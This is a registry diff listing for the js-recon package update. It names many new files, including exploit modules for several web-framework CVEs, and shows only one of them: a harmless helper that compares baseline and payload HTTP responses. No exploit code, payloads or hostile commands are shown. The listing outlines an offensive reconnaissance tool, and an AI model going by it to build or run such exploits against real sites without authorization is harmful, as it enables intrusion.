@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (461) hide show
  1. package/.claude-sync/sync.sh +1 -1
  2. package/.github/workflows/build-and-prettify.yaml +55 -25
  3. package/.github/workflows/codeql.yml +33 -0
  4. package/.github/workflows/exploit-smoke-test.yaml +160 -0
  5. package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
  6. package/.github/workflows/plumber.yml +20 -0
  7. package/.github/workflows/promote-js-recon.yml +5 -3
  8. package/.github/workflows/publish-js-recon.yml +6 -1
  9. package/.github/workflows/rules-smoke-test.yaml +15 -7
  10. package/.nvmrc +1 -0
  11. package/.plumber.yaml +151 -0
  12. package/CHANGELOG.md +54 -0
  13. package/CONTRIBUTING.md +32 -0
  14. package/Dockerfile +1 -0
  15. package/README.md +55 -2
  16. package/SECURITY.md +1 -1
  17. package/build/analyze/engine/astEngine.js +10 -9
  18. package/build/analyze/engine/astEngine.js.map +1 -1
  19. package/build/analyze/engine/csMastSEngine.js +6 -6
  20. package/build/analyze/engine/csMastSEngine.js.map +1 -1
  21. package/build/analyze/engine/index.js +1 -1
  22. package/build/analyze/engine/index.js.map +1 -1
  23. package/build/analyze/engine/requestEngine.js +6 -6
  24. package/build/analyze/engine/requestEngine.js.map +1 -1
  25. package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
  26. package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
  27. package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
  28. package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
  29. package/build/analyze/helpers/initRules.js +42 -24
  30. package/build/analyze/helpers/initRules.js.map +1 -1
  31. package/build/analyze/helpers/outputHelper.js +3 -3
  32. package/build/analyze/helpers/outputHelper.js.map +1 -1
  33. package/build/analyze/helpers/schemas.js +1 -0
  34. package/build/analyze/helpers/schemas.js.map +1 -1
  35. package/build/analyze/helpers/validate.js +9 -5
  36. package/build/analyze/helpers/validate.js.map +1 -1
  37. package/build/analyze/index.js +26 -16
  38. package/build/analyze/index.js.map +1 -1
  39. package/build/cliProgram.js +710 -0
  40. package/build/cliProgram.js.map +1 -0
  41. package/build/completion/index.js +245 -339
  42. package/build/completion/index.js.map +1 -1
  43. package/build/completion/introspect.js +17 -0
  44. package/build/completion/introspect.js.map +1 -0
  45. package/build/config/applicationConfig.js +494 -0
  46. package/build/config/applicationConfig.js.map +1 -0
  47. package/build/cs_mast/index.js +18 -17
  48. package/build/cs_mast/index.js.map +1 -1
  49. package/build/endpoints/gen_report/gen_json.js +2 -2
  50. package/build/endpoints/gen_report/gen_json.js.map +1 -1
  51. package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
  52. package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
  53. package/build/endpoints/index.js +12 -12
  54. package/build/endpoints/index.js.map +1 -1
  55. package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
  56. package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
  57. package/build/endpoints/next_js/client_jsonParse.js +4 -4
  58. package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
  59. package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
  60. package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
  61. package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
  62. package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
  63. package/build/exploit/angular/cve-2026-68945.js +61 -0
  64. package/build/exploit/angular/cve-2026-68945.js.map +1 -0
  65. package/build/exploit/index.js +60 -0
  66. package/build/exploit/index.js.map +1 -0
  67. package/build/exploit/next/cve-2025-29927.js +65 -0
  68. package/build/exploit/next/cve-2025-29927.js.map +1 -0
  69. package/build/exploit/next/cve-2026-64645.js +51 -0
  70. package/build/exploit/next/cve-2026-64645.js.map +1 -0
  71. package/build/exploit/nuxt/cve-2026-71315.js +47 -0
  72. package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
  73. package/build/exploit/nuxt/cve-2026-71320.js +114 -0
  74. package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
  75. package/build/exploit/react/cve-2025-55182.js +116 -0
  76. package/build/exploit/react/cve-2025-55182.js.map +1 -0
  77. package/build/exploit/registry/cveRegistry.js +115 -0
  78. package/build/exploit/registry/cveRegistry.js.map +1 -0
  79. package/build/exploit/types.js +2 -0
  80. package/build/exploit/types.js.map +1 -0
  81. package/build/exploit/utility/compareResponses.js +29 -0
  82. package/build/exploit/utility/compareResponses.js.map +1 -0
  83. package/build/exploit/utility/outputHelper.js +22 -0
  84. package/build/exploit/utility/outputHelper.js.map +1 -0
  85. package/build/exploit/utility/rawRequest.js +54 -0
  86. package/build/exploit/utility/rawRequest.js.map +1 -0
  87. package/build/exploit/utility/sandboxRce.js +49 -0
  88. package/build/exploit/utility/sandboxRce.js.map +1 -0
  89. package/build/exploit/utility/toEngineOutput.js +28 -0
  90. package/build/exploit/utility/toEngineOutput.js.map +1 -0
  91. package/build/exploit/utility/wsClient.js +78 -0
  92. package/build/exploit/utility/wsClient.js.map +1 -0
  93. package/build/exploit/vite/cve-2025-30208.js +44 -0
  94. package/build/exploit/vite/cve-2025-30208.js.map +1 -0
  95. package/build/exploit/vite/cve-2026-39363.js +60 -0
  96. package/build/exploit/vite/cve-2026-39363.js.map +1 -0
  97. package/build/fingerprint/index.js +11 -21
  98. package/build/fingerprint/index.js.map +1 -1
  99. package/build/globalConfig.js +2 -2
  100. package/build/globalConfig.js.map +1 -1
  101. package/build/index.js +16 -555
  102. package/build/index.js.map +1 -1
  103. package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
  104. package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
  105. package/build/lazyLoad/downloadFilesUtil.js +51 -40
  106. package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
  107. package/build/lazyLoad/downloadQueue.js +154 -50
  108. package/build/lazyLoad/downloadQueue.js.map +1 -1
  109. package/build/lazyLoad/downloadResponse.js +113 -0
  110. package/build/lazyLoad/downloadResponse.js.map +1 -0
  111. package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
  112. package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
  113. package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
  114. package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
  115. package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
  116. package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
  117. package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
  118. package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
  119. package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
  120. package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
  121. package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
  122. package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
  123. package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
  124. package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
  125. package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
  126. package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
  127. package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
  128. package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
  129. package/build/lazyLoad/globals.js +35 -0
  130. package/build/lazyLoad/globals.js.map +1 -1
  131. package/build/lazyLoad/index.js +311 -175
  132. package/build/lazyLoad/index.js.map +1 -1
  133. package/build/lazyLoad/methodFilter.js +2 -0
  134. package/build/lazyLoad/methodFilter.js.map +1 -1
  135. package/build/lazyLoad/next_js/NextJsCrawler.js +39 -14
  136. package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
  137. package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
  138. package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
  139. package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
  140. package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
  141. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +21 -20
  142. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
  143. package/build/lazyLoad/next_js/next_SubsequentRequests.js +100 -99
  144. package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
  145. package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
  146. package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
  147. package/build/lazyLoad/next_js/next_buildId.js +2 -2
  148. package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
  149. package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
  150. package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
  151. package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
  152. package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
  153. package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
  154. package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
  155. package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
  156. package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
  157. package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
  158. package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
  159. package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
  160. package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
  161. package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
  162. package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
  163. package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
  164. package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
  165. package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
  166. package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
  167. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
  168. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
  169. package/build/lazyLoad/outputPath.js +92 -0
  170. package/build/lazyLoad/outputPath.js.map +1 -0
  171. package/build/lazyLoad/react/react_followImports.js +15 -5
  172. package/build/lazyLoad/react/react_followImports.js.map +1 -1
  173. package/build/lazyLoad/react/react_getScriptTags.js +11 -6
  174. package/build/lazyLoad/react/react_getScriptTags.js.map +1 -1
  175. package/build/lazyLoad/react/react_sourcemapUrls.js +3 -2
  176. package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
  177. package/build/lazyLoad/react/react_webpackChunkPaths.js +12 -203
  178. package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
  179. package/build/lazyLoad/researchUtils.js +15 -0
  180. package/build/lazyLoad/researchUtils.js.map +1 -0
  181. package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
  182. package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
  183. package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
  184. package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
  185. package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
  186. package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
  187. package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
  188. package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
  189. package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
  190. package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
  191. package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
  192. package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
  193. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
  194. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
  195. package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
  196. package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
  197. package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
  198. package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
  199. package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
  200. package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
  201. package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
  202. package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
  203. package/build/lazyLoad/techDetect/index.js +106 -60
  204. package/build/lazyLoad/techDetect/index.js.map +1 -1
  205. package/build/lazyLoad/vue/vue_RuntimeJs.js +20 -15
  206. package/build/lazyLoad/vue/vue_RuntimeJs.js.map +1 -1
  207. package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +10 -5
  208. package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
  209. package/build/lazyLoad/vue/vue_discoverJsFiles.js +20 -17
  210. package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
  211. package/build/lazyLoad/vue/vue_getClientSidePaths.js +70 -46
  212. package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
  213. package/build/lazyLoad/vue/vue_jsImports.js +3 -2
  214. package/build/lazyLoad/vue/vue_jsImports.js.map +1 -1
  215. package/build/lazyLoad/vue/vue_pageSrc.js +3 -2
  216. package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
  217. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +6 -5
  218. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
  219. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +10 -21
  220. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
  221. package/build/lazyLoad/vue/vue_severalJsFilesHome.js +5 -4
  222. package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
  223. package/build/lazyLoad/vue/vue_stringJsFiles.js +28 -25
  224. package/build/lazyLoad/vue/vue_stringJsFiles.js.map +1 -1
  225. package/build/lazyLoad/vue/vue_viteMapDeps.js +8 -2
  226. package/build/lazyLoad/vue/vue_viteMapDeps.js.map +1 -1
  227. package/build/load/index.js +8 -7
  228. package/build/load/index.js.map +1 -1
  229. package/build/map/angular_js/getAngularConnections.js +6 -6
  230. package/build/map/angular_js/getAngularConnections.js.map +1 -1
  231. package/build/map/graphql/resolveGraphql.js +6 -6
  232. package/build/map/graphql/resolveGraphql.js.map +1 -1
  233. package/build/map/index.js +17 -17
  234. package/build/map/index.js.map +1 -1
  235. package/build/map/interactive-mode/commandHandler.js +278 -0
  236. package/build/map/interactive-mode/commandHandler.js.map +1 -0
  237. package/build/map/interactive-mode/commandHelpers.js +189 -0
  238. package/build/map/interactive-mode/commandHelpers.js.map +1 -0
  239. package/build/map/interactive-mode/esqueryGen.js.map +1 -0
  240. package/build/map/interactive-mode/helpMenu.js +11 -0
  241. package/build/map/interactive-mode/helpMenu.js.map +1 -0
  242. package/build/map/interactive-mode/inputPatch.js.map +1 -0
  243. package/build/map/interactive-mode/interactive.js +71 -0
  244. package/build/map/interactive-mode/interactive.js.map +1 -0
  245. package/build/map/interactive-mode/keybindings.js.map +1 -0
  246. package/build/map/interactive-mode/printer.js.map +1 -0
  247. package/build/map/interactive-mode/ui.js.map +1 -0
  248. package/build/map/next_js/getAxiosInstances.js +5 -5
  249. package/build/map/next_js/getAxiosInstances.js.map +1 -1
  250. package/build/map/next_js/getExports.js +4 -4
  251. package/build/map/next_js/getExports.js.map +1 -1
  252. package/build/map/next_js/getFetchInstances.js +10 -10
  253. package/build/map/next_js/getFetchInstances.js.map +1 -1
  254. package/build/map/next_js/getTurbopackConnections.js +8 -8
  255. package/build/map/next_js/getTurbopackConnections.js.map +1 -1
  256. package/build/map/next_js/getWebpackConnections.js +27 -16
  257. package/build/map/next_js/getWebpackConnections.js.map +1 -1
  258. package/build/map/next_js/interactive.js +3 -65
  259. package/build/map/next_js/interactive.js.map +1 -1
  260. package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
  261. package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
  262. package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
  263. package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
  264. package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
  265. package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
  266. package/build/map/next_js/resolveAxios.js +6 -6
  267. package/build/map/next_js/resolveAxios.js.map +1 -1
  268. package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
  269. package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
  270. package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
  271. package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
  272. package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
  273. package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
  274. package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
  275. package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
  276. package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
  277. package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
  278. package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
  279. package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
  280. package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
  281. package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
  282. package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
  283. package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
  284. package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
  285. package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
  286. package/build/map/next_js/resolveFetch.js +23 -23
  287. package/build/map/next_js/resolveFetch.js.map +1 -1
  288. package/build/map/next_js/resolveNewRequest.js +10 -10
  289. package/build/map/next_js/resolveNewRequest.js.map +1 -1
  290. package/build/map/next_js/resolveServerActions.js +4 -4
  291. package/build/map/next_js/resolveServerActions.js.map +1 -1
  292. package/build/map/next_js/utils.js +8 -2
  293. package/build/map/next_js/utils.js.map +1 -1
  294. package/build/map/react_js/getReactConnections.js +21 -14
  295. package/build/map/react_js/getReactConnections.js.map +1 -1
  296. package/build/map/svelte_js/interactive.js +3 -54
  297. package/build/map/svelte_js/interactive.js.map +1 -1
  298. package/build/map/vue_js/getViteConnections.js +23 -16
  299. package/build/map/vue_js/getViteConnections.js.map +1 -1
  300. package/build/map/vue_js/interactive.js +3 -63
  301. package/build/map/vue_js/interactive.js.map +1 -1
  302. package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
  303. package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
  304. package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
  305. package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
  306. package/build/map/vue_js/taint_utils.js +1 -1
  307. package/build/map/vue_js/taint_utils.js.map +1 -1
  308. package/build/map/vue_js/vue_resolveFetch.js +12 -12
  309. package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
  310. package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
  311. package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
  312. package/build/map/vue_js/vue_resolveXhr.js +11 -11
  313. package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
  314. package/build/mcp/chatOneShot.js +7 -7
  315. package/build/mcp/chatOneShot.js.map +1 -1
  316. package/build/mcp/claudeCodeCreds.js +5 -5
  317. package/build/mcp/claudeCodeCreds.js.map +1 -1
  318. package/build/mcp/cli.js +36 -35
  319. package/build/mcp/cli.js.map +1 -1
  320. package/build/mcp/config.js +4 -4
  321. package/build/mcp/config.js.map +1 -1
  322. package/build/mcp/index.js +7 -7
  323. package/build/mcp/index.js.map +1 -1
  324. package/build/mcp/mcpServer.js +3 -2
  325. package/build/mcp/mcpServer.js.map +1 -1
  326. package/build/mcp/skills.js +1 -0
  327. package/build/mcp/skills.js.map +1 -1
  328. package/build/mcp/tools.js +5 -4
  329. package/build/mcp/tools.js.map +1 -1
  330. package/build/proxy/checkFeasibility.js +8 -4
  331. package/build/proxy/checkFeasibility.js.map +1 -1
  332. package/build/proxy/checkFireWallBlocking.js +23 -13
  333. package/build/proxy/checkFireWallBlocking.js.map +1 -1
  334. package/build/proxy/detectBlockedResponse.js +205 -0
  335. package/build/proxy/detectBlockedResponse.js.map +1 -0
  336. package/build/proxy/genReq.js +434 -127
  337. package/build/proxy/genReq.js.map +1 -1
  338. package/build/proxy/index.js +3 -3
  339. package/build/proxy/index.js.map +1 -1
  340. package/build/proxy/oxylabsFallback.js +110 -0
  341. package/build/proxy/oxylabsFallback.js.map +1 -0
  342. package/build/proxy/proxyFeasibilityRequest.js +11 -9
  343. package/build/proxy/proxyFeasibilityRequest.js.map +1 -1
  344. package/build/refactor/index.js +83 -79
  345. package/build/refactor/index.js.map +1 -1
  346. package/build/refactor/next/index.js +69 -26
  347. package/build/refactor/next/index.js.map +1 -1
  348. package/build/refactor/next/transform.js +11 -4
  349. package/build/refactor/next/transform.js.map +1 -1
  350. package/build/refactor/next/validator.js +7 -7
  351. package/build/refactor/next/validator.js.map +1 -1
  352. package/build/refactor/react/index.js +13 -13
  353. package/build/refactor/react/index.js.map +1 -1
  354. package/build/refactor/react/validator.js +7 -7
  355. package/build/refactor/react/validator.js.map +1 -1
  356. package/build/refactor/react-vite/index.js +3 -3
  357. package/build/refactor/react-vite/index.js.map +1 -1
  358. package/build/refactor/remote/hf-client.js +1 -0
  359. package/build/refactor/remote/hf-client.js.map +1 -1
  360. package/build/refactor/remote/version-detect.js +12 -12
  361. package/build/refactor/remote/version-detect.js.map +1 -1
  362. package/build/refactor/vue/index.js +6 -6
  363. package/build/refactor/vue/index.js.map +1 -1
  364. package/build/refactor/vue/vite.js +6 -6
  365. package/build/refactor/vue/vite.js.map +1 -1
  366. package/build/report/index.js +30 -8
  367. package/build/report/index.js.map +1 -1
  368. package/build/report/swaggerJacker.js +63 -0
  369. package/build/report/swaggerJacker.js.map +1 -0
  370. package/build/report/utility/genHtml.js +7 -7
  371. package/build/report/utility/genHtml.js.map +1 -1
  372. package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
  373. package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
  374. package/build/report/utility/populateDb/populateEndpoints.js +3 -3
  375. package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
  376. package/build/report/utility/populateDb/populateMappedJson.js +2 -2
  377. package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
  378. package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
  379. package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
  380. package/build/run/bundler-detect.js +45 -9
  381. package/build/run/bundler-detect.js.map +1 -1
  382. package/build/run/cancellableStep.js +27 -0
  383. package/build/run/cancellableStep.js.map +1 -0
  384. package/build/run/dashboard/dashboardHtml.js +150 -0
  385. package/build/run/dashboard/dashboardHtml.js.map +1 -0
  386. package/build/run/dashboard/fsBrowser.js +43 -0
  387. package/build/run/dashboard/fsBrowser.js.map +1 -0
  388. package/build/run/dashboard/server.js +123 -0
  389. package/build/run/dashboard/server.js.map +1 -0
  390. package/build/run/dashboard/state.js +97 -0
  391. package/build/run/dashboard/state.js.map +1 -0
  392. package/build/run/index.js +239 -204
  393. package/build/run/index.js.map +1 -1
  394. package/build/run/interruptHandler.js +18 -0
  395. package/build/run/interruptHandler.js.map +1 -1
  396. package/build/run/outputDirectory.js +377 -0
  397. package/build/run/outputDirectory.js.map +1 -0
  398. package/build/sourcemaps/index.js +116 -29
  399. package/build/sourcemaps/index.js.map +1 -1
  400. package/build/strings/index.js +38 -28
  401. package/build/strings/index.js.map +1 -1
  402. package/build/strings/openapi.js +4 -4
  403. package/build/strings/openapi.js.map +1 -1
  404. package/build/strings/permutate.js +4 -4
  405. package/build/strings/permutate.js.map +1 -1
  406. package/build/strings/secrets.js +1 -0
  407. package/build/strings/secrets.js.map +1 -1
  408. package/build/strings/trufflehog.js +66 -19
  409. package/build/strings/trufflehog.js.map +1 -1
  410. package/build/strings/trufflehogConfig.js +36 -0
  411. package/build/strings/trufflehogConfig.js.map +1 -0
  412. package/build/strings/trufflehogDownload.js +115 -0
  413. package/build/strings/trufflehogDownload.js.map +1 -0
  414. package/build/utility/ai.js +33 -4
  415. package/build/utility/ai.js.map +1 -1
  416. package/build/utility/banner.js +4 -3
  417. package/build/utility/banner.js.map +1 -1
  418. package/build/utility/configureSandbox.js +2 -2
  419. package/build/utility/configureSandbox.js.map +1 -1
  420. package/build/utility/downloadProgress.js +99 -0
  421. package/build/utility/downloadProgress.js.map +1 -0
  422. package/build/utility/globals.js +19 -11
  423. package/build/utility/globals.js.map +1 -1
  424. package/build/utility/heap.js +2 -1
  425. package/build/utility/heap.js.map +1 -1
  426. package/build/utility/makeReq.js +490 -257
  427. package/build/utility/makeReq.js.map +1 -1
  428. package/build/utility/openapiGenerator.js +2 -2
  429. package/build/utility/openapiGenerator.js.map +1 -1
  430. package/build/utility/printMsg.js +53 -0
  431. package/build/utility/printMsg.js.map +1 -0
  432. package/build/utility/progressLog.js +68 -7
  433. package/build/utility/progressLog.js.map +1 -1
  434. package/build/utility/resolvePath.js +2 -1
  435. package/build/utility/resolvePath.js.map +1 -1
  436. package/build/utility/ruleVersionMap.js +73 -0
  437. package/build/utility/ruleVersionMap.js.map +1 -0
  438. package/build/utility/targetInputs.js +177 -0
  439. package/build/utility/targetInputs.js.map +1 -0
  440. package/build/utility/urlUtils.js +37 -1
  441. package/build/utility/urlUtils.js.map +1 -1
  442. package/config.dist.yaml +251 -0
  443. package/contributing/testing.md +106 -0
  444. package/eslint.config.js +24 -0
  445. package/package.json +22 -5
  446. package/scripts/exploit-smoke-test.js +82 -0
  447. package/scripts/framework-detect-smoke-test.js +64 -0
  448. package/scripts/postinstall-completion.mjs +40 -0
  449. package/scripts/smoke-test.js +12 -0
  450. package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
  451. package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
  452. package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
  453. package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
  454. package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
  455. package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
  456. package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
  457. /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
  458. /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
  459. /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
  460. /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
  461. /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
@@ -0,0 +1,29 @@
1
+ const isSuccessStatus = (status) => status >= 200 && status < 300;
2
+ /**
3
+ * Pure baseline-vs-payload response comparator. No I/O — every exploit handler makes both
4
+ * requests itself (via rawRequest.ts) and passes the raw status/headers/body pairs in here.
5
+ *
6
+ * `markers`, when given, are substrings expected to appear only in a successful payload response
7
+ * (e.g. a leaked marker string, file-content signature). `becameSuccessful` requires the status to
8
+ * have moved from a blocked/redirect/error shape to 2xx AND (when markers are given) at least one
9
+ * marker to be newly present — status change alone is not proof for exploits whose payload
10
+ * response can also legitimately redirect/error for unrelated reasons.
11
+ */
12
+ export const diffResponses = (baseline, payload, markers) => {
13
+ const statusChanged = baseline.status !== payload.status;
14
+ const newlyContains = (markers !== null && markers !== void 0 ? markers : []).filter((marker) => payload.body.includes(marker) && !baseline.body.includes(marker));
15
+ const bodyLengthDelta = payload.body.length - baseline.body.length;
16
+ const baselineWasBlocked = !isSuccessStatus(baseline.status);
17
+ const payloadIsSuccessful = isSuccessStatus(payload.status);
18
+ const becameSuccessful = baselineWasBlocked &&
19
+ payloadIsSuccessful &&
20
+ (markers === undefined || markers.length === 0 || newlyContains.length > 0);
21
+ return {
22
+ statusChanged,
23
+ newlyContains: Object.freeze(newlyContains),
24
+ bodyLengthDelta,
25
+ becameSuccessful,
26
+ };
27
+ };
28
+ export default diffResponses;
29
+ //# sourceMappingURL=compareResponses.js.map
@@ -0,0 +1 @@
1
